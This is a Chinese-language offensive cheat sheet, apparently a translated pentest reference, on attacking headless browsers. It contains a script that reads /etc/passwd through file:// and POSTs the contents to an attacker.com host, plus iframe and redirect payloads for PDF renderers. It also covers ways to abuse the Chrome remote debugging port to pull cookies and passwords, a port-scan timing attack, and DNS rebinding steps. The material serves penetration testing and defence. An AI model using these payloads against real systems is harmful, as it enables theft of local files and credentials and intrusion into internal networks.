跳转至

无界面浏览器 (Headless Browser)

无界面浏览器 (Headless Browser) 是一种没有图形用户界面的 Web 浏览器。它的工作方式与普通的浏览器(如 Chrome 或 Firefox)完全相同,能够解释 HTML、CSS 和 JavaScript,但它是在后台运行,不显示任何视觉效果。 无界面浏览器主要用于自动化任务,如网页爬取、测试和运行脚本。在不需要完整浏览器界面或资源(如内存或 CPU)受限的情况下,它们特别有用。

摘要 (Summary)

无界面浏览器命令 (Headless Commands)

无界面浏览器命令示例:

  • Google Chrome

    google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
    
  • Mozilla Firefox

    firefox --screenshot https://www.google.com
    
  • Microsoft Edge

    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
    

本地文件读取 (Local File Read)

不安全的标志 (Insecure Flags)

如果目标是以 --allow-file-access 选项启动的:

google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir

由于允许文件访问,攻击者可以创建并展示一个能够捕获 /etc/passwd 文件内容的 HTML 文件。

<script>
  async function getFlag(){
    response = await fetch("file:///etc/passwd");
    flag = await response.text();
    fetch("https://attacker.com/", { method: "POST", body: flag})
  };
  getFlag();
</script>

PDF 渲染 (PDF Rendering)

考虑这样一种场景:无界面浏览器捕获网页副本并将其导出为 PDF,而攻击者可以控制正在处理的 URL。

目标:google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html

  • Javascript 重定向

    <html>
        <body>
            <script>
                window.location="/etc/passwd"
            </script>
        </body>
    </html>
    
  • Iframe 框架

    <html>
        <body>
            <iframe src="/etc/passwd" height="640" width="640"></iframe>
        </body>
    </html>
    

远程调试端口 (Remote Debugging Port)

无界面浏览器(如 Headless Chrome 或 Chromium)中的远程调试端口是一个 TCP 端口,它公开了浏览器的 DevTools 协议,以便外部工具(或脚本)可以连接并远程控制浏览器。它通常侦听端口 9222,但可以使用 --remote-debugging-port= 进行更改。

目标: google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html

工具:

  • slyd0g/WhiteChocolateMacademiaNut - 与基于 Chromium 的浏览器的调试端口交互,查看打开的标签页、安装的扩展和 Cookie。
  • slyd0g/ripWCMN.py - 使用 Python 的 WCMN 替代方案,通过空 origin 标头修复 WebSocket 连接。

[!NOTE]
自 2022 年 12 月 20 日的 Chrome 更新起,您必须使用参数 --remote-allow-origins="*" 启动浏览器,才能使用 WhiteChocolateMacademiaNut 连接到 WebSocket。

利用方式:

  • 连接浏览器并进行交互:chrome://inspect/#devices, opera://inspect/#devices
  • 终止当前正在运行的浏览器,并使用 --restore-last-session 获取用户标签页的访问权限
  • 存储在设置中的数据(用户名、密码、令牌):chrome://settings
  • 端口扫描:通过循环打开 http://localhost:<port>/json/new?http://callback.example.com?port=<port>
  • 泄露 UUID:Iframe:http://127.0.0.1:<port>/json/version

    {
        "Browser": "Chrome/136.0.7103.113",
        "Protocol-Version": "1.3",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36",
        "V8-Version": "13.6.233.10",
        "WebKit-Version": "537.36 (@76fa3c1782406c63308c70b54f228fd39c7aaa71)",
        "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/browser/d815e18d-57e6-4274-a307-98649a9e6b87"
    }
    
  • 本地文件读取:pich4ya/chrome_remote_debug_lfi.py

  • Node 检测器 --inspect 的工作方式类似于 --remote-debugging-port

    node --inspect app.js # 默认端口 9229
    node --inspect=4444 app.js # 自定义端口 4444
    node --inspect=0.0.0.0:4444 app.js
    

从 Chrome 136 开始,如果尝试调试默认的 Chrome 数据目录,则将不执行 --remote-debugging-port--remote-debugging-pipe 开关。现在必须在使用这些开关的同时,配合使用 --user-data-dir 开关来指向一个非标准目录。

标志 --user-data-dir=/path/to/data_dir 用于指定用户的数据目录,Chromium 在该目录中存储其所有的应用程序数据,如 Cookie 和历史记录。如果您在启动 Chromium 时不指定此标志,您会发现所有的书签、收藏夹或历史记录都不会加载到浏览器中。

网络 (Network)

端口扫描 (Port Scanning)

端口扫描:定时攻击 (Timing attack)

  • 动态插入一个指向假设的关闭端口的 <img> 标签。测量到 onerror 的时间。
  • 重复至少 10 次 → 统计关闭端口出错的平均时间。
  • 测量测试随机端口 10 次出错的时间。
  • 如果 time_to_error(random_port) > time_to_error(closed_port)*1.3 → 则端口已打开。

注意事项:

  • Chrome 默认阻止一组“已知端口”。
  • Chrome 默认阻止除了通过 0.0.0.0 访问 localhost 之外的所有对本地网络地址的访问。

DNS 重绑定 (DNS Rebinding)

  • nccgroup/singularity - 一个 DNS 重绑定攻击框架。

  • Chrome 将发起 2 个 DNS 请求:AAAAA 记录:

    • AAAA 响应有效的互联网 IP。
    • A 响应内部 IP。
  • Chrome 将优先连接到 IPv6 (evil.net)。
  • 在第一次响应后立即关闭 IPv6 侦听器。
  • 打开指向 evil.net 的 Iframe。
  • Chrome 将尝试连接到 IPv6,但由于连接失败,它将回退到 IPv4。
  • 从顶层窗口向 Iframe 注入脚本以窃取内容。

CVE 漏洞 (CVE)

利用已知漏洞 (CVE) 攻击无界面浏览器涉及多个步骤,从漏洞研究到 Payload 执行。以下是该过程的结构化分解:

根据 User-Agent 识别无界面浏览器,然后选择针对浏览器组件的漏洞利用:V8 引擎、Blink 渲染器、Webkit 等。

--no-sandbox 选项禁用了渲染器进程的沙箱功能。

const browser = await puppeteer.launch({
    args: ['--no-sandbox']
});

参考资料 (References)